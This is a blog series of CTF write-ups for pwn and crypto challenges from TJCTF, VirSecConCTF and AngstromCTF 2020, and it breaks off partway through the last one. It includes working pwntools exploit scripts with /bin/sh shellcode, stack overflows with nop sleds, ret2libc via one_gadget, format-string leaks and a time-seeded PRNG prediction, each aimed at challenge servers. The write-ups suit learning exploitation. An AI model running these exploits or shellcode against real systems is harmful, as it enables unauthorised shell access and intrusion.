hoefler02

TJCTF 2020 - El Primo

2022-03-02

El Primo was a pwn challenge from TJCTF 2020 which supplied a binary. The results of running the binary are seen below, along with a disassembled version of the main function, generated by Ghidra.

michael@computer:~/Documents/CTF/elprimo$ ./primo 
What's my hard counter?
hint: 0xffbdd480
AAAA

We can see that we are given an address on the stack of a variable called “hint,” and the dangerous “gets” function is called on the variable. This address could be useful for jumping to shellcode as long as NX is disabled. Using checksec confirms our suspicions.

michael@computer:~/Documents/CTF/elprimo$ checksec ./primo
[*] '/home/michael/Documents/CTF/elprimo/primo'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

After seeing this, I jumped into GDB to have a look under the hood. Since PIE (position independent execution) is enabled, we know that the addresses of the instructions will not be constant. For this reason we need to use “b main” and “r” to start debugging the binary without referencing any addresses before they have been initialized.

(gdb) b main
Breakpoint 1 at 0x61c
(gdb) r
Starting program: /home/michael/Documents/CTF/elprimo/primo 

Breakpoint 1, 0x5655561c in main ()
(gdb) 
(gdb) disas main
Dump of assembler code for function main:

...

   0x5655568c <+127>:	call   0x56555480 <printf@plt>
   0x56555691 <+132>:	add    esp,0x10
   0x56555694 <+135>:	sub    esp,0xc
   0x56555697 <+138>:	lea    eax,[ebp-0x28]
   0x5655569a <+141>:	push   eax
   0x5655569b <+142>:	call   0x56555490 <gets@plt>
   0x565556a0 <+147>:	add    esp,0x10
   0x565556a3 <+150>:	mov    eax,0x0
   0x565556a8 <+155>:	lea    esp,[ebp-0x8]
   0x565556ab <+158>:	pop    ecx
   0x565556ac <+159>:	pop    ebx
   0x565556ad <+160>:	pop    ebp
   0x565556ae <+161>:	lea    esp,[ecx-0x4]
   0x565556b1 <+164>:	ret    
End of assembler dump.

The last few instructions are very interesting. Whenever pop ecx is called, a value from off the stack (which we control) is stored into the ecx register. The last instruction before the return loads ecx - 4 into esp, the stack pointer. Whenever the return is called, the instruction pointer will jump to the return pointer on the top of the stack. Since we control the stack pointer, we also control the return pointer. All that is left to do is to find which position on the stack is “pop”ed into ecx. This position turns out to be right after the 32 byte “hint” variable. Whener we put a value into ecx, we must also take care to add 4 since it is subtracted in the second-to-last instruction. So far we have something like the following…

'A' * 32 + (desired_esp + 0x4)

What we have so far will put the stack pointer in the desired place but does not write any return pointer. Since the desired_esp will be point right after what we have so far, we can just append our desired return pointer to the end of the string.

'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled

All that is left to do now is to add our nopsled and shellcode!

'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled + nopsled + shellcode

This same principal is shown in my solve script below. Since the leak indicates the address of the (start of the) 32 byte buffer, we need to adjust our desired esp accordingly.

from pwn import *

p = remote('p1.tjctf.org', 8011)

p.recvline()

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

leak = int(p.recvline().split(' ')[-1], 16)

# payload = padding + (desired_esp + 4) + return_pointer + nopsled + shellcode
payload = 'A' * 32 + p32(leak + 36 + 4) + p32(leak + 65) + '\x90' * 60 + shellcode

logging.info('Sending payload using leak %s' % hex(leak))

p.sendline(payload)

p.interactive()

Running the script gives us a shell on the challenge server, allowing us to retrieve the flag. I hope this was helpful!

michael@computer:~/Documents/CTF/elprimo$ python elprimo.py 
[+] Opening connection to p1.tjctf.org on port 8011: Done
[*] Switching to interactive mode
INFO:pwnlib.tubes.remote.remote.140163721894352:Switching to interactive mode

$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}

TJCTF 2020 - OSRS

2022-03-02

OSRS was a pwn challenge from TJCTF 2020 which supplied only a binary. The results of running the binary are seen below.

michael@computer:~/Documents/CTF/osrs$ ./osrs 
Enter a tree type: 
test
I don't have the tree -1222996 :(

Okay, when we give a value for “tree”, the binary stops and gives back a seemingly random integer. The next step for me was analyzing the binary in Ghidra. I also ran checksec on the binary to see which security features needed to be bypassed. Below is the Ghidra’s disassembled version of the get_tree function, which is called by main.

michael@computer:~/Documents/CTF/osrs$ checksec ./osrs
[*] '/home/michael/Documents/CTF/osrs/osrs'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Wow! The binary has no security features enabled. Also, we can see the dangerous “gets” function being called with the 256 byte buffer called tree_type. Exploiting this would still be difficult though without knowing any addresses on the stack (for jumping to shellcode). Since ASLR is probably enabled, some brute forcing or more advanced technique would be necessary. Fortunately, the seemingly random number that we saw printed earlier is actually the tree_type variable being printed with the incorrect format string. Whenever a char pointer is passed into the format specifier of a signed integer, the address of the char is printed in signed integer format. This will give us an address on the stack to base our exploit off of.

First, we need to store the leaked memory address, but also keep the program running. For this I used the buffer overflow to cause the program to return to the vulnerable get_tree function. On the second round through get_tree, we can put shellcode (with a nop-slide) onto the stack and jump into it (taking advantage of our leaked stack address). Using GDB, I was able to determine that the offset from tree_type to the return pointer is 272. I also used python’s “ctypes” module to convert the signed int to an unsigned int. My code is below.

from pwn import *
import ctypes

p = remote('p1.tjctf.org', 8006)
#p = process('./osrs')

# http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

get_tree = 0x080485c8

# return to get_tree
p.sendline('A' * 272 + p32(get_tree))

# read leak
leak = int(p.recvuntil(':(').split(' ')[-2])
leak = ctypes.c_uint(leak).value

# address of stack + ~30
stack = leak + 300

# return to nop sled + shellcode
p.sendline('A' * 272 + p32(stack) + '\x90' * 60 + shellcode) 

p.interactive()

Executing the script gives us a shell which allows us to read the flag (seen below). I hope this was helpful!

michael@computer:~/Documents/CTF/osrs$ python osrs.py 
[+] Opening connection to p1.tjctf.org on port 8006: Done
[*] Switching to interactive mode

Enter a tree type: 
I don't have the tree -9172 :(

$ cat flag.txt
tjctf{tr33_c0de_in_my_she115}

VirSecConCTF 2020 - TackStack

2022-03-02

Tackstack was a 100 point challenge during VirSecConCTF 2020. We are given a command to connect to the challenge with no source code provided. Below is a snapshot of the challenge server in action. Basically it allows us to type in “tacks” to be added to the stack.

michael@computer:~/Documents/CTF/virseccon/tackstack$ nc jh2i.com 50038
========================
|       TACKSTACK      |
========================


Welcome to TackStack!
How to play:
  * Stack your tacks!
Ready? Go!

Your tack: tack
------------------------
|                      |
    tack
|                      |
------------------------

Your tack: tack2
------------------------
|                      |
    tack
    tack2
|                      |
------------------------

Your tack: %x
------------------------
|                      |
    tack
    tack2
    4030be
|                      |
------------------------

In the last prompt, where I entered %x, you can see that a hex number was returned. This indicates a format string vulnerability. Since we were not provided source code or a binary to collect any further information, I wrote a script to leak all strings off of the stack to see if there was anything useful.

from pwn import *

context.log_level = 'error'

for i in range(100):

    r = remote('jh2i.com', 50038)

    r.recvuntil('Your tack: ')
    r.sendline('%{}$s'.format(i + 1))

    try: print(r.recvuntil('Your tack: ')[54:100].rstrip())
    except: print('EOF')
    
    r.close()

The script outputs lots of non-ascii junk, along with parts of the ascii-boxes, but around leak 100 we see something interesting.

|                      |
-------
FLAG=LLS{tack_stack?_more_like_stack_attack}
|
(null)
|                      |
--------------
EOF

We can see that the flag LLS{tack_stack?_more_like_stack_attack} was on the stack all along! I hope this was helpful!

VirSecConCTF 2020 - Return Label

2022-03-02

Return label was fourth pwn challenge from VirSecCon2020. The challenge provided a binary and a challenge server. Running the binary gives us the address for printf in libc and asks where we should send a package (seen below).

michael@computer:~/Documents/CTF/virseccon/retlab$ ./challenge 
Where should we send your package (printf is at 00007f580de11e80)? 

Running radare2 on the binary we can list out the functions (seen below).

[0x000006c0]> afl
0x00000000    2 25           sym.imp.__libc_start_main
0x00000638    3 23           sym._init
0x00000660    1 6            sym.imp.puts
0x00000670    1 6            sym.imp.printf
0x00000680    1 6            sym.imp.gets
0x00000690    1 6            sym.imp.fflush
0x000006a0    1 6            sym.imp.dlsym
0x000006b0    1 6            sub.__cxa_finalize_248_6b0
0x000006c0    1 43           entry0
0x000006f0    4 50   -> 40   sym.deregister_tm_clones
0x00000730    4 66   -> 57   sym.register_tm_clones
0x00000780    4 49           sym.__do_global_dtors_aux
0x000007c0    1 10           entry1.init
0x000007ca    1 118          sym.vuln
0x00000840    1 27           sym.main
0x00000860    4 101          sym.__libc_csu_init
0x000008d0    1 2            sym.__libc_csu_fini
0x000008d4    1 9            sym._fini

Seeing that there is no “flag” or “secret” functions we can safely assume that we will need to return to somewhere useful inside of libc. Looking at the code for main, we can see that it simply calls “vuln”.

[0x00000840]> pdf
            ;-- main:
/ (fcn) sym.main 27
|   sym.main ();
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x000006dd (entry0)
|           0x00000840      55             push rbp
|           0x00000841      4889e5         mov rbp, rsp
|           0x00000844      4883ec10       sub rsp, 0x10
|           0x00000848      897dfc         mov dword [local_4h], edi
|           0x0000084b      488975f0       mov qword [local_10h], rsi
|           0x0000084f      e876ffffff     call sym.vuln
|           0x00000854      b800000000     mov eax, 0
|           0x00000859      c9             leave
\           0x0000085a      c3             ret

Looking at the code for vuln, we can see a call to the dangerous “gets” function which does not check buffer size before writing (leading to a buffer overflow). Now that we have an idea of what we need to do we can use the one_gadget tool to find an offset that will give us RCE (seen below). Since the challenge did not provide a libc, I just used the libc included in my Ubuntu distribution, and it worked!

michael@computer:~/Documents/CTF/virseccon/retlab$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x45216 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

We will keep these in mind. Next I launched GDB to find the offset between libc base and printf. I also calculated the amount of characters we need to write before reaching the return pointer.

(gdb) x printf
0x7ffff7835800 <__printf>:	0xd8ec8148
(gdb) i proc mapping
process 9919
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /home/michael/Documents/CTF/virseccon/retlab/challenge
      0x555555754000     0x555555755000     0x1000        0x0 /home/michael/Documents/CTF/virseccon/retlab/challenge
      0x555555755000     0x555555756000     0x1000     0x1000 /home/michael/Documents/CTF/virseccon/retlab/challenge
      0x7ffff77e0000     0x7ffff79c7000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff79c7000     0x7ffff7bc7000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
(gdb) c
Continuing.
Where should we send your package (printf is at 00007ffff7844e80)? 

AAAA

Breakpoint 2, 0x000055555555481f in vuln ()
(gdb) x/xg $rsp
0x7fffffffde10:	0x0000000041414141
(gdb) c
Continuing.

Breakpoint 3, 0x000055555555483f in vuln ()
(gdb) x/xg $rsp
0x7fffffffdea8:	0x0000555555554854
(gdb) q
michael@computer:~/Documents/CTF/virseccon/retlab$ python
Python 2.7.17 (default, Nov  7 2019, 10:07:09) 
[GCC 7.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7ffff7835800 - 0x7ffff77e0000
350208
>>>  0x7fffffffdea8 - 0x7fffffffde10
152 

Okay, looks like we need to write 152 characters before the gadget address. We are finally ready to string everything together (as seen in the script below).

from pwn import *

r = remote('jh2i.com', 50005)

printf = int(r.recvuntil('?').split(' ')[9][:-2], 16)

libc_base = printf - 350208

gadget = libc_base + 0x45216

payload = 'A' * 152 + p64(gadget)

r.sendline(payload)

r.interactive()

Running this gives us a prompt, which is a remote shell on the server!

michael@computer:~/Documents/CTF/virseccon/retlab$ python retlab.py 
[+] Opening connection to jh2i.com on port 50005: Done
[*] Switching to interactive mode
 
$ id
uid=8888(pwn) gid=8888(pwn) groups=8888(pwn)
$ cat flag.txt
LLS{r0p_1s_fun}

We can use the shell to obtain the flag LLS{r0p_1s_fun}. I hope this was helpful!

AngstromCTF 2020 - One Time Bad

2022-03-02

One Time Bad was the fifth challenge from AngstromCTF 2020. The challenge provides us with some python code (below) and a challenge server.

import random, time
import string
import base64
import os

def otp(a, b):
	r = ""
	for i, j in zip(a, b):
		r += chr(ord(i) ^ ord(j))
	return r


def genSample():
	p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
	k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])

	x = otp(p, k)

	return x, p, k

random.seed(int(time.time()))

print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")
print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")
print("Enter:")
print("\t1) Request sample")
print("\t2) Try your luck at decrypting something!")

while True:
	choice = int(input("> "))
	if choice == 1:
		x, p, k = genSample()
		print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode())

	elif choice == 2:
		x, p, k = genSample()
		print(base64.b64encode(x.encode()).decode())
		a = input("Your answer: ").strip()
		if a == p:
			print(os.environ.get("FLAG"))
			break

		else:
			print("Wrong! The correct answer was", p, "with key", k)

Looking at the code it seems to use a one time pad, XORing the variable p with the variable k resulting in x. The script gives us this variable x and expects us to recover p. This task seems impossible since a one time pad offers perfect secrecy. Without knowing any other information, there is an infinite search space - p and k could have been anything! Looking closer at the code though, we can see that random is seeded in an unusual way.

random.seed(int(time.time()))

Since random is seeded based off of the time, we can do the same in a script on our end. If our python random generator is seeded the same as the server’s random generator, all variables in the script will be generated identically. This will allow us to emulate the challenge in our solve script in order to predict the value of p to get the flag. This is illustrated in the below script, where I recycled some functions from the challenge source.

from pwn import * 
import base64
import random
import time

def otp(a, b):
	# XORs strings a and b
	r = ""
	for i, j in zip(a, b):
		r += chr(ord(i) ^ ord(j))
	return r


def genSample():
	# two random samples of ascii letters
	p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
	k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])

	# otp with random strings
	x = otp(p, k)

	return x, p, k



r = remote('misc.2020.chall.actf.co', 20301)
random.seed(int(time.time())) # seed the same as the challenge server

r.sendline('2') # option two to decrypt for flag

x, p, k = genSample() # will be equal to the values on the challenge server

r.sendline(p)

r.interactive()

The output of the script is seen below.

michael@computer:~/Documents/CTF/angstrom/otb_COMPLETE$ python3 onebad.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/michael/.pwntools-cache-3.6/update to 'never'.
[*] You have the latest version of Pwntools (4.0.1)
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
[*] Switching to interactive mode
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
    1) Request sample
    2) Try your luck at decrypting something!
> Hw==
Your answer: actf{one_time_pad_more_like_i_dont_like_crypto-1982309}
[*] Got EOF while reading in interactive

This gives us the flag actf{one_time_pad_more_like_i_dont_like_crypto-1982309}! Keep in mind that this challenge would have been harder if random was seeded based off of the EXACT time given by python, but since it was casted as an integer, we only had to be accurate to the second.

AngstromCTF 2020 - Confused Streaming

2022-03-02

Confused Streaming was the fourth challenge from AngstromCTF 2020. The challenge provides us with some python code (seen below) and a challenge server.

from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
	input = raw_input
except:
	pass
getcontext().prec = 1000
def keystream(key):
	random.seed(int(os.environ["seed"]))
	e = random.randint(100,1000)
	while 1:
		d = random.randint(1,100)
		ret = Decimal('0.'+str(key ** e).split('.')[-1])
		for i in range(d):
			ret*=2
		yield int((ret//1)%2)
		e+=1
try:
	a = int(input("a: "))
	b = int(input("b: "))
	c = int(input("c: "))
	# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
	if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
		raise Exception()
	key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
	print("bad key")
else:
	flag = binascii.hexlify(os.environ["flag"].encode())
	flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
	ret = ""
	k = keystream(key)
	for i in flag:
		ret += str(next(k)^int(i))
	print(ret)

The code first seems to prompt the user for variables a, b, and c. This along with the use of square roots immediately reminded me of the Quadratic Formula (seen below). In order to pass the “bad key” case we need to pass several checks relating to our choice of variables.

\[-b \pm \sqrt{b^2-4ac} \over 2a\]

We can pass the first check if the following is true.

\[b^2 \ge 4ac\]

This will eliminate the possiblilty of imaginary numbers that could come about by taking the square root of a negative number. The next three checks ensure that none of the variables are zero.(easy enough). The fifth check (seen below) is slightly more complicated.

\[\left(\sqrt{b^2-4ac}\right)^2 \ne b^2-4ac\]

At first glance it seems like this check will never be passed, but since the script uses python’s decimal library it is actually possible. The getcontext().prec = 1000 line in the script tells us that it will round to 1000 decimal places, so whenever the square root returns something irrational, it will be rounded, and the square will not exactly equal the right side of the equation. This eliminates the possibility of any combinations with rational roots passing the check. Finally, the script makes sure that none of our variables exceed 1000.

Next, the key is set to the output of the quadratic equation with the chosen a, b, and c. The key cannot possibly be rational (within 1000 decimal digits, atleast) because of the reasons stated above. Now we can look at the next chunk of code (below). I moved the keystream function and the key definition closer together to make it more readable.

def keystream(key):
	random.seed(int(os.environ["seed"]))
	e = random.randint(100,1000)
	while 1:
		d = random.randint(1,100)
		ret = Decimal('0.'+str(key ** e).split('.')[-1])
		for i in range(d):
			ret*=2
		yield int((ret//1)%2)
		e+=1

key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
flag = binascii.hexlify(os.environ["flag"].encode())
flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
ret = ""
k = keystream(key)
for i in flag:
	ret += str(next(k)^int(i))
print(ret)

It seems that the flag is converted to binary and encrypted with the keystream function seeded by the key defined above. The flag is XORed against the output of the keystream. One obvious way to circumvent the keystream would be to pick our a, b, and c so that the stream always returns zero. XORing with zero has no affect (as seen below). You can read more about the basic properties of XOR here.

\[0 \oplus 0 = 0 \\ 1 \oplus 0 = 1\]

Looking at the code for the keystream, it immediately becomes apparent that it will often return zero. The key is raised to a random power between 100 and 200. If the key is less than one this will generate an extremely small number. After this it is multiplied by a random power of two between one and 100, but this is far less significant than the previous exponentiation.

Putting this all together, we can pick values for a, b, and c that fit the requirements outlined earlier. As seen below, a=1 b=3 c=1 will fit the requirements.

>>> from decimal import *
>>> a, b, c = 1, 3, 1
>>> key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
>>> key
Decimal('-0.38196601125...') # magnitude less than one and irrational

Trying this in the challenge server gives the following…

michael@computer:~/Documents$ nc crypto.2020.chall.actf.co 20601
a: 1
b: 3
c: 1
01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101

Since the flag has most likely only been XORed with zero (as determined above), we should be able to simply convert the binary to ascii to get the flag.

michael@computer:~/Documents$ python3
Python 3.6.9 (default, Nov  7 2019, 10:44:02) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import long_to_bytes
>>> flag = int('01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101', 2)
>>> long_to_bytes(flag).decode()
'actf{down_to_the_decimal}'

As we can see the flag is actf{down_to_the_decimal}.

AngstromCTF 2020 - LIBrary in C

2022-03-02

LIBrary in C was the fifth challenge in the binary exploitation category of AngstromCTF 2020. The challenge supplies us with an executable, some source code (below), and a libc file. Usually whenever a pwnable challenge gives a libc file, some sort of ret2libc is involved.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);

	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	char name[64];
	char book[64];

	puts("Welcome to the LIBrary in C!");
	puts("What is your name?");
	fgets(name, 64, stdin);
	// printf works just like System.out.print in Java right?
	printf("Why hello there ");
	printf(name);
	puts("And what book would you like to check out?");
	fgets(book, 64, stdin);
	printf("Your cart:\n - ");
	printf(book);
	puts("\nThat's great and all but uh...");
	puts("It turns out this library doesn't actually exist so you'll never get your book.");
	puts("Have a nice day!");
}

The source is actually pretty simple, and we can see that there are two calls to printf where we control the first argument. In other words - format string vulnerability! Let’s start by doing some checks on the binary and on the libc version.

root@b1a0c5b0df97 /pwn# checksec ./library_in_c
[*] '/pwn/library_in_c'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
root@b1a0c5b0df97 /pwn# checksec ./libc.so.6 
[*] '/pwn/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Looks like the libc has PIE enabled so leaking the libc base address will be a necessary step if we wish to return to somewhere in libc. Since there are two calls to printf, one call could be used to leak the libc base address and the other could be used to overwrite something on the GOT to point to something in libc. My guess is overwriting the puts function to point to libc system or a useful gadget (more on that later). Running the binary confirms the format string vulnerability (seen below).

root@b1a0c5b0df97 /pwn# ./library_in_c 
Welcome to the LIBrary in C!
What is your name?
%x %x %x %x
Why hello there f7c34c00 ca921780 ca6522c0 cab3f700
And what book would you like to check out?
%x %x %x %x
Your cart:
 - f7c34c00 ca921780 ca6522c0 cab3f700

That's great and all but uh...
It turns out this library doesn't actually exist so you'll never get your book.
Have a nice day!

Now that we have an idea of what we need to do we can launch the binary in GDB. In order to leak the base of libc we need to understand a little bit of how function calls work in compiled binaries. Whenever something is called, the next address is pushed to the stack, and the instruction pointer is set to the address of whatever is being called. __libc_start_main is the setup function which (more or less) calls the main function. After the main function, the instruction pointer returns to the address that was pushed onto the stack in __libc_start_main. This means that we can find an offset of __libc_start_main somewhere on the stack.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400747 <+0>:	push   rbp
   0x0000000000400748 <+1>:	mov    rbp,rsp
   0x000000000040074b <+4>:	sub    rsp,0xa0
   0x0000000000400752 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040075b <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040075f <+24>:	xor    eax,eax
   0x0000000000400761 <+26>:	mov    rax,QWORD PTR [rip+0x2008f8]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400768 <+33>:	mov    ecx,0x0
   0x000000000040076d <+38>:	mov    edx,0x2
   0x0000000000400772 <+43>:	mov    esi,0x0
   0x0000000000400777 <+48>:	mov    rdi,rax
   0x000000000040077a <+51>:	call   0x400650 <setvbuf@plt>
   0x000000000040077f <+56>:	call   0x400640 <getegid@plt>
   0x0000000000400784 <+61>:	mov    DWORD PTR [rbp-0x94],eax
   0x000000000040078a <+67>:	mov    edx,DWORD PTR [rbp-0x94]
   0x0000000000400790 <+73>:	mov    ecx,DWORD PTR [rbp-0x94]
   0x0000000000400796 <+79>:	mov    eax,DWORD PTR [rbp-0x94]
   0x000000000040079c <+85>:	mov    esi,ecx
   0x000000000040079e <+87>:	mov    edi,eax
   0x00000000004007a0 <+89>:	call   0x400610 <setresgid@plt>
   0x00000000004007a5 <+94>:	lea    rdi,[rip+0x16c]        # 0x400918
   0x00000000004007ac <+101>:	call   0x4005f0 <puts@plt>
   0x00000000004007b1 <+106>:	lea    rdi,[rip+0x17d]        # 0x400935
   0x00000000004007b8 <+113>:	call   0x4005f0 <puts@plt>
   0x00000000004007bd <+118>:	mov    rdx,QWORD PTR [rip+0x2008ac]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x00000000004007c4 <+125>:	lea    rax,[rbp-0x90]
   0x00000000004007cb <+132>:	mov    esi,0x40
   0x00000000004007d0 <+137>:	mov    rdi,rax
   0x00000000004007d3 <+140>:	call   0x400630 <fgets@plt>
   0x00000000004007d8 <+145>:	lea    rdi,[rip+0x169]        # 0x400948
   0x00000000004007df <+152>:	mov    eax,0x0
   0x00000000004007e4 <+157>:	call   0x400620 <printf@plt>
   0x00000000004007e9 <+162>:	lea    rax,[rbp-0x90]
   0x00000000004007f0 <+169>:	mov    rdi,rax
   0x00000000004007f3 <+172>:	mov    eax,0x0
   0x00000000004007f8 <+177>:	call   0x400620 <printf@plt>
   0x00000000004007fd <+182>:	lea    rdi,[rip+0x15c]        # 0x400960
   0x0000000000400804 <+189>:	call   0x4005f0 <puts@plt>
   0x0000000000400809 <+194>:	mov    rdx,QWORD PTR [rip+0x200860]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400810 <+201>:	lea    rax,[rbp-0x50]
   0x0000000000400814 <+205>:	mov    esi,0x40
   0x0000000000400819 <+210>:	mov    rdi,rax
   0x000000000040081c <+213>:	call   0x400630 <fgets@plt>
   0x0000000000400821 <+218>:	lea    rdi,[rip+0x163]        # 0x40098b
   0x0000000000400828 <+225>:	mov    eax,0x0
   0x000000000040082d <+230>:	call   0x400620 <printf@plt>
   0x0000000000400832 <+235>:	lea    rax,[rbp-0x50]
   0x0000000000400836 <+239>:	mov    rdi,rax
   0x0000000000400839 <+242>:	mov    eax,0x0
   0x000000000040083e <+247>:	call   0x400620 <printf@plt>
   0x0000000000400843 <+252>:	lea    rdi,[rip+0x156]        # 0x4009a0
   0x000000000040084a <+259>:	call   0x4005f0 <puts@plt>
   0x000000000040084f <+264>:	lea    rdi,[rip+0x16a]        # 0x4009c0
   0x0000000000400856 <+271>:	call   0x4005f0 <puts@plt>
   0x000000000040085b <+276>:	lea    rdi,[rip+0x1ae]        # 0x400a10
   0x0000000000400862 <+283>:	call   0x4005f0 <puts@plt>
   0x0000000000400867 <+288>:	mov    eax,0x0
   0x000000000040086c <+293>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400870 <+297>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400879 <+306>:	je     0x400880 <main+313>
   0x000000000040087b <+308>:	call   0x400600 <__stack_chk_fail@plt>
   0x0000000000400880 <+313>:	leave  
   0x0000000000400881 <+314>:	ret    
End of assembler dump.

(gdb) b *0x00000000004007fd
Breakpoint 1 at 0x4007fd
(gdb) r
Starting program: /pwn/library_in_c 

Welcome to the LIBrary in C!
What is your name?
michael
Why hello there michael

Breakpoint 1, 0x00000000004007fd in main ()

(gdb) x __libc_start_main
0x7ffff7a2d740 <__libc_start_main>:	0x55415641

(gdb) x/30xg $rsp
0x7fffffffe5c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe5d0:	0x7025207025207025	0x2520702520702520
0x7fffffffe5e0:	0x2070252070252070	0x7025207025207025
0x7fffffffe5f0:	0x2520702520702520	0x2070252070252070
0x7fffffffe600:	0x7025207025207025	0x0020702520702520
0x7fffffffe610:	0x00007ffff7ffe168	0x0000000000f0b5ff
0x7fffffffe620:	0x0000000000000001	0x00000000004008dd
0x7fffffffe630:	0x00007fffffffe65e	0x0000000000000000
0x7fffffffe640:	0x0000000000400890	0x0000000000400660
0x7fffffffe650:	0x00007fffffffe740	0xb87f2a8ed601f300
0x7fffffffe660:	0x0000000000400890	0x00007ffff7a2d830
0x7fffffffe670:	0x0000000000000001	0x00007fffffffe748
0x7fffffffe680:	0x00000001f7ffcca0	0x0000000000400747
0x7fffffffe690:	0x0000000000000000	0xecf9cfed110ca862
0x7fffffffe6a0:	0x0000000000400660	0x00007fffffffe740

Great! The pointer at 0x7fffffffe668 looks close to that of __libc_start_main. Doing the subtraction in python confirms our suspicions. The address is that of <__libc_start_main+240>.

root@b1a0c5b0df97 /pwn# python
Python 2.7.12 (default, Oct  8 2019, 14:14:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffff7a2d830 - 0x7ffff7a2d740
240

Keep in mind that even though the libc base address is randomized because of the PIE, all of the offsets are still the same. Since __libc_start_main is in libc, knowing its address can effectively give us the address to anything else in libc. Now we can find the offset from <__libc_start_main+240> to libc base.

(gdb) set environment LD_PRELOAD ./libc.so.6
(gdb) b *0x00000000004007fd
Breakpoint 1 at 0x4007fd
(gdb) r
Starting program: /pwn/library_in_c 
Welcome to the LIBrary in C!
What is your name?
%p                    
Why hello there 0x7fffffffbf20

Breakpoint 1, 0x00000000004007fd in main ()
(gdb) info proc mappings
process 473
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /pwn/library_in_c
            0x600000           0x601000     0x1000        0x0 /pwn/library_in_c
            0x601000           0x602000     0x1000     0x1000 /pwn/library_in_c
            0x602000           0x623000    0x21000        0x0 [heap]
      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 /pwn/libc.so.6
      0x7ffff7bcd000     0x7ffff7dcd000   0x200000   0x1c0000 /pwn/libc.so.6
      0x7ffff7dcd000     0x7ffff7dd1000     0x4000   0x1c0000 /pwn/libc.so.6
      0x7ffff7dd1000     0x7ffff7dd3000     0x2000   0x1c4000 /pwn/libc.so.6
      0x7ffff7dd3000     0x7ffff7dd7000     0x4000        0x0 
